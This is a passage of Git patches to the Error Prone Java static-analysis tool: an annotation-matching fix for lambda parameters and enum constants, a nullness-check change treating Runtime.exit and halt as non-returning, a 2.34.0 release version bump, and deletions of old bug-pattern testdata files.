b/core/src/test/java/com/google/errorprone/bugpatterns/FieldCanBeFinalTest.java @@ -17,7 +17,6 @@ import com.google.errorprone.CompilationTestHelper; import com.google.errorprone.annotations.Var; -import java.util.Arrays; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; @@ -348,8 +347,6 @@ class B { } } """) - // hackily force processing of both compilation units so we can verify both diagnostics - .setArgs(Arrays.asList("-XDshouldStopPolicyIfError=FLOW")) .doTest(); } From 1d040949c37c1d5b5105f6b8fe2540101897b43c Mon Sep 17 00:00:00 2001 From: Manu Sridharan Date: Thu, 17 Oct 2024 08:02:55 -0700 Subject: [PATCH 23/25] A couple of fixes in MoreAnnotations I discovered these issues while using this code in NullAway; see https://github.com/uber/NullAway/pull/1055. (We support older Error Prone versions so can't directly call this API and had to adapt the code instead.) The previous code didn't handle explicit annotations on lambda parameters (e.g., `(@Nullable Object x) -> { ... }`) and annotations on enum constants. Not sure the best way to add tests for this but happy to add them if given a suggestion. Actually the enum constant case was weird; I was unable to repro with bytecodes output by `javac` and I only observed the case with an `ijar` from Bazel. FYI @cpovirk @cushon Fixes #4620 COPYBARA_INTEGRATE_REVIEW=https://github.com/google/error-prone/pull/4620 from msridhar:more-annotations-tweaks fb3690ba6efaae689fe08f8c064770925d6c34e0 PiperOrigin-RevId: 686916301 --- .../errorprone/util/MoreAnnotations.java | 15 ++++++++-- .../errorprone/util/MoreAnnotationsTest.java | 29 +++++++++++++++++++ 2 files changed, 42 insertions(+), 2 deletions(-) diff --git a/check_api/src/main/java/com/google/errorprone/util/MoreAnnotations.java b/check_api/src/main/java/com/google/errorprone/util/MoreAnnotations.java index 5ea7a61acd0..6e3d2695ee5 100644 --- a/check_api/src/main/java/com/google/errorprone/util/MoreAnnotations.java +++ b/check_api/src/main/java/com/google/errorprone/util/MoreAnnotations.java @@ -30,6 +30,7 @@ import com.sun.tools.javac.code.Type; import com.sun.tools.javac.code.TypeAnnotationPosition; import com.sun.tools.javac.code.TypeTag; +import com.sun.tools.javac.tree.JCTree; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; @@ -130,6 +131,8 @@ private static boolean targetTypeMatches(Symbol sym, TypeAnnotationPosition posi case LOCAL_VARIABLE: return position.type == TargetType.LOCAL_VARIABLE; case FIELD: + // treated like a field + case ENUM_CONSTANT: return position.type == TargetType.FIELD; case CONSTRUCTOR: case METHOD: @@ -137,8 +140,16 @@ private static boolean targetTypeMatches(Symbol sym, TypeAnnotationPosition posi case PARAMETER: switch (position.type) { case METHOD_FORMAL_PARAMETER: - return ((MethodSymbol) sym.owner).getParameters().indexOf(sym) - == position.parameter_index; + int parameterIndex = position.parameter_index; + if (position.onLambda != null) { + com.sun.tools.javac.util.List lambdaParams = + position.onLambda.params; + return parameterIndex < lambdaParams.size() + && lambdaParams.get(parameterIndex).sym.equals(sym); + } else { + return ((Symbol.MethodSymbol) sym.owner).getParameters().indexOf(sym) + == parameterIndex; + } default: return false; } diff --git a/check_api/src/test/java/com/google/errorprone/util/MoreAnnotationsTest.java b/check_api/src/test/java/com/google/errorprone/util/MoreAnnotationsTest.java index 3c8bdeef03a..0ab74fe4610 100644 --- a/check_api/src/test/java/com/google/errorprone/util/MoreAnnotationsTest.java +++ b/check_api/src/test/java/com/google/errorprone/util/MoreAnnotationsTest.java @@ -223,4 +223,33 @@ class InnerStatic {} """) .doTest(); } + + @Test + public void explicitlyAnnotatedLambdaTest() { + CompilationTestHelper.newInstance(GetTopLevelTypeAttributesTester.class, getClass()) + .addSourceLines( + "Annos.java", + """ + import static java.lang.annotation.ElementType.TYPE_USE; + import java.lang.annotation.Target; + + @Target(TYPE_USE) + @interface A {} + """) + .addSourceLines( + "Test.java", + """ + import java.util.function.Consumer; + + class Test { + Consumer<@A String> c; + + void test() { + // BUG: Diagnostic contains: A + c = (@A String s) -> {}; + } + } + """) + .doTest(); + } } From 82a216870b043e841cad14eddb4568b8edcb9eff Mon Sep 17 00:00:00 2001 From: cpovirk Date: Thu, 17 Oct 2024 08:06:02 -0700 Subject: [PATCH 24/25] Recognize that `Runtime.halt` and `exit` never return. PiperOrigin-RevId: 686917388 --- .../nullness/ReturnMissingNullable.java | 2 ++ .../nullness/ReturnMissingNullableTest.java | 34 +++++++++++++++++++ 2 files changed, 36 insertions(+) diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/nullness/ReturnMissingNullable.java b/core/src/main/java/com/google/errorprone/bugpatterns/nullness/ReturnMissingNullable.java index 1ec82ff5c26..8d92f91907c 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/nullness/ReturnMissingNullable.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/nullness/ReturnMissingNullable.java @@ -31,6 +31,7 @@ import static com.google.errorprone.matchers.Matchers.anyMethod; import static com.google.errorprone.matchers.Matchers.anyOf; import static com.google.errorprone.matchers.Matchers.expressionStatement; +import static com.google.errorprone.matchers.Matchers.instanceMethod; import static com.google.errorprone.matchers.Matchers.staticMethod; import static com.google.errorprone.util.ASTHelpers.constValue; import static com.google.errorprone.util.ASTHelpers.findEnclosingMethod; @@ -107,6 +108,7 @@ public class ReturnMissingNullable extends BugChecker implements CompilationUnit */ .onDescendantOfAny("org.junit.Assert", "junit.framework.Assert") .named("fail"), + instanceMethod().onDescendantOf("java.lang.Runtime").namedAnyOf("exit", "halt"), staticMethod().onClass("java.lang.System").named("exit"))); private static final Matcher FAILS_IF_PASSED_FALSE = diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/ReturnMissingNullableTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/ReturnMissingNullableTest.java index e6296f36a95..f0390d5d47d 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/ReturnMissingNullableTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/ReturnMissingNullableTest.java @@ -1498,6 +1498,40 @@ public String getMessage() { .doTest(); } + @Test + public void negativeCases_unreachableRuntimeExit() { + createCompilationTestHelper() + .addSourceLines( + "com/google/errorprone/bugpatterns/nullness/LiteralNullReturnTest.java", + """ + package com.google.errorprone.bugpatterns.nullness; + class LiteralNullReturnTest { + public String getMessage() { + Runtime.getRuntime().exit(1); + return null; + } + } + """) + .doTest(); + } + + @Test + public void negativeCases_unreachableRuntimeHalt() { + createCompilationTestHelper() + .addSourceLines( + "com/google/errorprone/bugpatterns/nullness/LiteralNullReturnTest.java", + """ + package com.google.errorprone.bugpatterns.nullness; + class LiteralNullReturnTest { + public String getMessage() { + Runtime.getRuntime().halt(1); + return null; + } + } + """) + .doTest(); + } + @Test public void negativeCases_unreachableAssertFail() { createCompilationTestHelper() From bb113af7cae2d2c4478aba33d70e96291e8a07ef Mon Sep 17 00:00:00 2001 From: cushon Date: Fri, 18 Oct 2024 19:35:38 +0000 Subject: [PATCH 25/25] Release Error Prone 2.34.0 --- annotation/pom.xml | 2 +- annotations/pom.xml | 2 +- check_api/pom.xml | 2 +- core/pom.xml | 2 +- docgen/pom.xml | 2 +- docgen_processor/pom.xml | 2 +- pom.xml | 2 +- refaster/pom.xml | 2 +- test_helpers/pom.xml | 2 +- type_annotations/pom.xml | 2 +- 10 files changed, 10 insertions(+), 10 deletions(-) diff --git a/annotation/pom.xml b/annotation/pom.xml index fbbba7c5524..3cb509f1c43 100644 --- a/annotation/pom.xml +++ b/annotation/pom.xml @@ -21,7 +21,7 @@ com.google.errorprone error_prone_parent - 1.0-HEAD-SNAPSHOT + 2.34.0 @BugPattern annotation diff --git a/annotations/pom.xml b/annotations/pom.xml index 62ebfe88a40..fa4a8daba52 100644 --- a/annotations/pom.xml +++ b/annotations/pom.xml @@ -21,7 +21,7 @@ com.google.errorprone error_prone_parent - 1.0-HEAD-SNAPSHOT + 2.34.0 error-prone annotations diff --git a/check_api/pom.xml b/check_api/pom.xml index 061e83e0e6b..7bbb7130b25 100644 --- a/check_api/pom.xml +++ b/check_api/pom.xml @@ -21,7 +21,7 @@ com.google.errorprone error_prone_parent - 1.0-HEAD-SNAPSHOT + 2.34.0 error-prone check api diff --git a/core/pom.xml b/core/pom.xml index 40dac702e26..40e15cb8605 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -21,7 +21,7 @@ com.google.errorprone error_prone_parent - 1.0-HEAD-SNAPSHOT + 2.34.0 error-prone library diff --git a/docgen/pom.xml b/docgen/pom.xml index 8ee00587502..9599a726aea 100644 --- a/docgen/pom.xml +++ b/docgen/pom.xml @@ -21,7 +21,7 @@ com.google.errorprone error_prone_parent - 1.0-HEAD-SNAPSHOT + 2.34.0 Documentation tool for generating Error Prone bugpattern documentation diff --git a/docgen_processor/pom.xml b/docgen_processor/pom.xml index 7d97a4cb4ca..de788f1fafd 100644 --- a/docgen_processor/pom.xml +++ b/docgen_processor/pom.xml @@ -21,7 +21,7 @@ com.google.errorprone error_prone_parent - 1.0-HEAD-SNAPSHOT + 2.34.0 JSR-269 annotation processor for @BugPattern annotation diff --git a/pom.xml b/pom.xml index da220bae08d..a3c757e1fa5 100644 --- a/pom.xml +++ b/pom.xml @@ -21,7 +21,7 @@ Error Prone parent POM com.google.errorprone error_prone_parent - 1.0-HEAD-SNAPSHOT + 2.34.0 pom Error Prone is a static analysis tool for Java that catches common programming mistakes at compile-time. diff --git a/refaster/pom.xml b/refaster/pom.xml index 968b0c2bae4..65d6f7d6432 100644 --- a/refaster/pom.xml +++ b/refaster/pom.xml @@ -19,7 +19,7 @@ error_prone_parent com.google.errorprone - 1.0-HEAD-SNAPSHOT + 2.34.0 4.0.0 diff --git a/test_helpers/pom.xml b/test_helpers/pom.xml index 66b12d308c3..7fb0db25dc7 100644 --- a/test_helpers/pom.xml +++ b/test_helpers/pom.xml @@ -21,7 +21,7 @@ com.google.errorprone error_prone_parent - 1.0-HEAD-SNAPSHOT + 2.34.0 error-prone test helpers diff --git a/type_annotations/pom.xml b/type_annotations/pom.xml index 365123af188..0c26d170271 100644 --- a/type_annotations/pom.xml +++ b/type_annotations/pom.xml @@ -21,7 +21,7 @@ com.google.errorprone error_prone_parent - 1.0-HEAD-SNAPSHOT + 2.34.0 error-prone type annotations

{} - - @Deprecated - /** - * @deprecated use {@link Selector.Builder#withSummary()} - */ - public abstract void withSummaryRowKeys(int summaryRowKeys); - - /** - * @deprecated use {@link Selector.Builder#withSummary()} - */ - @Deprecated - public abstract void m1(); - - public abstract void m2(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnPositiveCases.java deleted file mode 100644 index 2d5644d1df6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnPositiveCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @deprecated - */ -// BUG: Diagnostic contains: @Deprecated -public class DepAnnPositiveCases { - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - public DepAnnPositiveCases() {} - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - int myField; - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - enum Enum { - VALUE, - } - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - interface Interface {} - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - public void deprecatedMethood() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchNegativeCases.java deleted file mode 100644 index 30b99b6b725..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchNegativeCases.java +++ /dev/null @@ -1,127 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns; - - -import java.io.FileNotFoundException; - -/** - * @author yuan@ece.toronto.edu (Ding Yuan) - */ -public class EmptyCatchNegativeCases { - public void error() throws IllegalArgumentException { - throw new IllegalArgumentException("Fake exception."); - } - - public void harmlessError() throws FileNotFoundException { - throw new FileNotFoundException("harmless exception."); - } - - public void close() throws IllegalArgumentException { - // close() is an allowed method, so any exceptions - // thrown by this method can be ignored! - throw new IllegalArgumentException("Fake exception."); - } - - public void handledException() { - int a = 0; - try { - error(); - } catch (Exception e) { - a++; // handled here - } - } - - public void exceptionHandledByDataflow() { - int a = 0; - try { - error(); - a = 10; - } catch (Throwable t) { - /* Although the exception is ignored here, it is actually - * handled by the if check below. - */ - } - if (a != 10) { - System.out.println("Exception is handled here.."); - a++; - } - } - - public void exceptionHandledByControlFlow() { - try { - error(); - return; - } catch (Throwable t) { - /* Although the exception is ignored here, it is actually - * handled by the return statement in the try block. - */ - } - System.out.println("Exception is handled here.."); - } - - public void alreadyInCatch() { - try { - error(); - } catch (Throwable t) { - try { - error(); - } catch (Exception e) { - // Although e is ignored, it is OK b/c we're already - // in a nested catch block. - } - } - } - - public void harmlessException() { - try { - harmlessError(); - } catch (FileNotFoundException e) { - /* FileNotFoundException is a harmless exception and - * it is OK to ignore it. - */ - } - } - - public void exemptedMethod() { - try { - close(); - } catch (Exception e) { - // Although the exception is ignored, we can allow this b/c - // it is thrown by an exempted method. - } - } - - public void comment() { - int a = 0; // TODO - try { - error(); - // TODO - /* FIXME */ - } catch (Throwable t) { - // ignored - } - } - - public void catchIsLoggedOnly() { - try { - error(); - } catch (Throwable t) { - System.out.println("Caught an exception: " + t); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchPositiveCases.java deleted file mode 100644 index 3ca9445a16e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchPositiveCases.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns; - -import static org.junit.Assert.fail; - -import org.junit.Test; - -/** - * @author yuan@ece.toronto.edu (Ding Yuan) - */ -public class EmptyCatchPositiveCases { - public void error() throws IllegalArgumentException { - throw new IllegalArgumentException("Fake exception."); - } - - public void catchIsCompleteEmpty() { - try { - error(); - } // BUG: Diagnostic contains: - catch (Throwable t) { - - } - } - - @Test - public void expectedException() { - try { - System.err.println(); - fail(); - // BUG: Diagnostic contains: - } catch (Exception expected) { - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestNegativeCases.java deleted file mode 100644 index 5360bbe8d00..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestNegativeCases.java +++ /dev/null @@ -1,36 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -public class EqualsHashCodeTestNegativeCases { - - public static class EqualsAndHashCode { - public boolean equals(Object o) { - return false; - } - - public int hashCode() { - return 42; - } - } - - public static class HashCodeOnly { - public int hashCode() { - return 42; - } - } - - public static class Neither {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestPositiveCases.java deleted file mode 100644 index 3315777b139..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestPositiveCases.java +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -public class EqualsHashCodeTestPositiveCases { - - public static class EqualsOnly { - // BUG: Diagnostic contains: Classes that override equals should also override hashCode - public boolean equals(Object o) { - return false; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeNegativeCases.java deleted file mode 100644 index 5ed93274e84..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeNegativeCases.java +++ /dev/null @@ -1,205 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableSet; -import java.util.List; -import java.util.Set; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class EqualsIncompatibleTypeNegativeCases { - class A { - public boolean equals(Object o) { - if (o instanceof A) { - return true; - } - return false; - } - } - - class B1 extends A {} - - class B2 extends A {} - - class B3 extends B2 {} - - void checkEqualsAB1B2B3(A a, B1 b1, B2 b2, B3 b3) { - a.equals(a); - a.equals(b1); - a.equals(b2); - a.equals(b3); - a.equals(null); - - b1.equals(a); - b1.equals(b1); - b1.equals(b2); - b1.equals(b3); - b1.equals(null); - - b2.equals(a); - b2.equals(b1); - b2.equals(b2); - b2.equals(b3); - b2.equals(null); - - b3.equals(a); - b3.equals(b1); - b3.equals(b2); - b3.equals(b3); - b3.equals(null); - } - - void checks(Object o, boolean[] bools, boolean bool) { - o.equals(bool); - o.equals(bools[0]); - } - - void checkJUnit(B1 b1, B2 b2) { - org.junit.Assert.assertFalse(b1.equals(b2)); - } - - void checkStaticEquals(A a, B1 b1, B2 b2, B3 b3) { - java.util.Objects.equals(a, a); - java.util.Objects.equals(a, b1); - java.util.Objects.equals(a, b2); - java.util.Objects.equals(a, b3); - java.util.Objects.equals(a, null); - - java.util.Objects.equals(b1, b3); - java.util.Objects.equals(b2, b3); - java.util.Objects.equals(b3, b3); - java.util.Objects.equals(null, b3); - } - - void checkGuavaStaticEquals(A a, B1 b1, B2 b2, B3 b3) { - com.google.common.base.Objects.equal(a, a); - com.google.common.base.Objects.equal(a, b1); - com.google.common.base.Objects.equal(a, b2); - com.google.common.base.Objects.equal(a, b3); - com.google.common.base.Objects.equal(a, null); - - com.google.common.base.Objects.equal(b1, b3); - com.google.common.base.Objects.equal(b2, b3); - com.google.common.base.Objects.equal(b3, b3); - com.google.common.base.Objects.equal(null, b3); - } - - class C {} - - abstract class C1 extends C { - public abstract boolean equals(Object o); - } - - abstract class C2 extends C1 {} - - abstract class C3 extends C1 {} - - void checkEqualsC1C2C3(C1 c1, C2 c2, C3 c3) { - c1.equals(c1); - c1.equals(c2); - c1.equals(c3); - c1.equals(null); - - c2.equals(c1); - c2.equals(c2); - c2.equals(c3); - c2.equals(null); - - c3.equals(c1); - c3.equals(c2); - c3.equals(c3); - c3.equals(null); - } - - interface I { - boolean equals(Object o); - } - - class E1 implements I {} - - class E2 implements I {} - - class E3 extends E2 {} - - void checkEqualsIE1E2E3( - I e, E1 e1, E2 e2, E3 e3, List eList, List e1List, List e2List) { - e.equals(e); - e.equals(e1); - e.equals(e2); - e.equals(e3); - e.equals(null); - - e1.equals(e); - e1.equals(e1); - e1.equals(e2); - e1.equals(e3); - e1.equals(null); - - e2.equals(e); - e2.equals(e1); - e2.equals(e2); - e2.equals(e3); - e2.equals(null); - - e3.equals(e); - e3.equals(e1); - e3.equals(e2); - e3.equals(e3); - e3.equals(null); - - eList.equals(e1List); - eList.equals(e2List); - eList.equals(null); - - e1List.equals(eList); - e1List.equals(e2List); - e1List.equals(null); - - e2List.equals(eList); - e2List.equals(e1List); - e2List.equals(null); - } - - void collectionStuff( - List rawList, - List stringList, - Set stringSet, - ImmutableSet immutableStringSet, - ImmutableList immutableStringList) { - - // With raw types, we can't be sure. So... /shrug - rawList.equals(stringList); - - stringSet.equals(immutableStringSet); - stringList.equals(immutableStringList); - } - - interface J {} - - class F1 implements J {} - - abstract class F2 { - public abstract boolean equals(J o); - } - - void checkOtherEquals(F1 f1, F2 f2) { - f2.equals(f1); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypePositiveCases.java deleted file mode 100644 index 11acf98107d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypePositiveCases.java +++ /dev/null @@ -1,173 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import java.util.List; -import java.util.Map; -import java.util.Set; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class EqualsIncompatibleTypePositiveCases { - class A {} - - class B {} - - void checkEqualsAB(A a, B b) { - // BUG: Diagnostic contains: incompatible types - a.equals(b); - // BUG: Diagnostic contains: incompatible types - b.equals(a); - } - - class C {} - - abstract class C1 extends C { - public abstract boolean equals(Object o); - } - - abstract class C2 extends C1 {} - - abstract class C3 extends C {} - - void checkEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { - // BUG: Diagnostic contains: incompatible types - c3.equals(c1); - // BUG: Diagnostic contains: incompatible types - c3.equals(c2); - // BUG: Diagnostic contains: incompatible types - c1.equals(c3); - // BUG: Diagnostic contains: incompatible types - c2.equals(c3); - } - - void checkStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(c3, c1); - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(c3, c2); - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(c1, c3); - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(c2, c3); - } - - void checkGuavaStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(c3, c1); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(c3, c2); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(c1, c3); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(c2, c3); - } - - void checkPrimitiveEquals(int a, long b) { - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(a, b); - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(b, a); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(a, b); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(b, a); - } - - interface I { - boolean equals(Object o); - } - - class D {} - - class D1 extends D {} - - class D2 extends D implements I {} - - void checkEqualsDD1D2(D d, D1 d1, D2 d2) { - // BUG: Diagnostic contains: incompatible types - d1.equals(d2); - // BUG: Diagnostic contains: incompatible types - d2.equals(d1); - } - - enum MyEnum {} - - enum MyOtherEnum {} - - void enumEquals(MyEnum m, MyOtherEnum mm) { - // BUG: Diagnostic contains: incompatible types - m.equals(mm); - // BUG: Diagnostic contains: incompatible types - mm.equals(m); - - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(m, mm); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(mm, m); - } - - void collectionsWithGenericMismatches( - List stringList, - List intList, - Set stringSet, - Set intSet, - ImmutableList stringImmutableList) { - - // BUG: Diagnostic contains: incompatible types - stringList.equals(intList); - - // BUG: Diagnostic contains: incompatible types - stringSet.equals(intSet); - - // BUG: Diagnostic contains: incompatible types - stringList.equals(stringSet); - - // BUG: Diagnostic contains: incompatible types - intList.equals(stringImmutableList); - } - - void mapKeyChecking( - Map stringIntegerMap, - Map integerStringMap, - Map, Set> stringListSetMap, - Map, Set> intListSetMap) { - // BUG: Diagnostic contains: incompatible types - stringIntegerMap.equals(integerStringMap); - - // BUG: Diagnostic contains: incompatible types - stringListSetMap.equals(intListSetMap); - } - - void nestedColls(Set> setListString, Set> setListInteger) { - // BUG: Diagnostic contains: String and Integer are incompatible - boolean equals = setListString.equals(setListInteger); - } - - class MyGenericClazz {} - - void testSomeGenerics( - MyGenericClazz strClazz, MyGenericClazz intClazz, MyGenericClazz iClazz) { - // BUG: Diagnostic contains: String and Integer are incompatible - strClazz.equals(intClazz); - - // BUG: Diagnostic contains: T and String are incompatible - iClazz.equals(strClazz); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeRecursiveTypes.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeRecursiveTypes.java deleted file mode 100644 index 473b1fe7d8f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeRecursiveTypes.java +++ /dev/null @@ -1,142 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.time.DayOfWeek; -import java.time.Month; -import java.util.Objects; - -/** Checks for objects with recursive type bounds. */ -public class EqualsIncompatibleTypeRecursiveTypes { - - interface Bar {} - - final class ConcreteBar implements Bar {} - - static class Foo> implements Bar { - T field; - - void check(Foo other) { - // OK since Enum and Enum are not incompatible - this.field.equals(other.field); - } - - > void badCheck(Bar other) { - // BUG: Diagnostic contains: T and X are incompatible - this.equals(other); - } - } - - interface RandomInterface {} - - interface Entity< - E extends Entity, - K extends EntityKey, - V extends Enum, - V2 extends Enum> {} - - interface EntityKey> extends Comparable {} - - static final class EK1 implements EntityKey { - @Override - public int compareTo(EK1 o) { - return 0; - } - } - - static final class E1 implements Entity, RandomInterface {} - - static final class E2 implements Entity, RandomInterface {} - - void testMultilayer(Class> eClazz, Class e2Clazz) { - if (Objects.equals(eClazz, E1.class)) { - System.out.println("yay"); - } - - if (Objects.equals(eClazz, E2.class)) { - System.out.println("yay"); - } - - if (Objects.equals(e2Clazz, E2.class)) { - System.out.println("yay"); - } - - // BUG: Diagnostic contains: E2 and E1 are incompatible. - if (Objects.equals(e2Clazz, E1.class)) { - System.out.println("boo"); - } - } - - interface First> { - default A get() { - return null; - } - } - - interface Second extends First> {} - - interface Third extends Second {} - - interface Fourth extends Second {} - - void testing(Third third, Fourth fourth) { - // BUG: Diagnostic contains: Third and Fourth - boolean equals = third.equals(fourth); - } - - interface RecOne extends Comparable> {} - - interface RecTwo extends Comparable> {} - - void testMultiRecursion(RecOne a, RecTwo b) { - // BUG: Diagnostic contains: RecOne and RecTwo - boolean bad = a.equals(b); - } - - interface Quux> {} - - interface Quuz> extends Quux {} - - interface Quiz> extends Quux {} - - interface Id1 extends Quuz {} - - interface Id2 extends Quiz {} - - abstract static class Id3 implements Quuz, Quiz {} - - void test(Id1 first, Id3 second) { - // BUG: Diagnostic contains: Id1 and Id3 - boolean res = Objects.equals(first, second); - } - - class I {} - - class J, B extends I, C extends I> {} - - < - A1 extends 